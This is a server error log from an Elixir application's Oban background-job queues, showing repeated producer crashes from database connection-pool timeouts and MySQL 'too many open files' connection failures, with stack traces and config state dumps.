State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:45:40.241255Z], limit: 20, uuid: "84bb8c86-deaa-4b60-baed-9dc73b653b04", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:40.241261Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.219630>, refresh_timer: #Reference<0.2525715032.1121189889.219626>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:45:40.246726Z], limit: 50, uuid: "62fa7dd6-97e4-4361-bd6d-83d7d3069ca5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:40.246732Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.68309>, refresh_timer: #Reference<0.2525715032.1099431938.68289>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:53.175000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:55.624000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:57.307000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:01.483000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:01.907000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:03.373000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:03.459000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:04.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:45:52.242349Z], limit: 10, uuid: "83f202ae-1a13-4720-b760-2416c2fd39fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:52.242354Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76549>, refresh_timer: #Reference<0.2525715032.1077673987.53507>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:45:52.241577Z], limit: 3, uuid: "2467641d-23f7-410d-9ac3-5f17d943ee3b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:52.241583Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76552>, refresh_timer: #Reference<0.2525715032.1077673987.53505>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:45:52.242604Z], limit: 5, uuid: "7a0ef5b1-33a2-4457-a9bd-d64fbeee1963", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:52.242609Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76550>, refresh_timer: #Reference<0.2525715032.1077673987.53518>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:04.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:45:52.249122Z], limit: 50, uuid: "656c020d-1372-4255-bd19-ef7feea89a16", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:52.249127Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76577>, refresh_timer: #Reference<0.2525715032.1099431938.68547>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:45:52.242143Z], limit: 5, uuid: "fd4c5c22-f313-4d5b-a56a-e1eab8732fe6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:52.242149Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76551>, refresh_timer: #Reference<0.2525715032.1077673987.53506>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:04.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:45:52.247761Z], limit: 20, uuid: "9bdcd575-a606-47b0-a674-d94062b9c8b4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:52.247766Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76578>, refresh_timer: #Reference<0.2525715032.1077673987.53531>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:08.287000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:08.845000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:10.864000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:10.976000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:11.475000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:16.568000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:17.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:46:04.240219Z], limit: 5, uuid: "74123c2d-728d-4b69-a4d9-22d4a66f6515", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:04.240223Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76831>, refresh_timer: #Reference<0.2525715032.1099431938.68649>, dispatch_cooldown: 5, running: %{}}
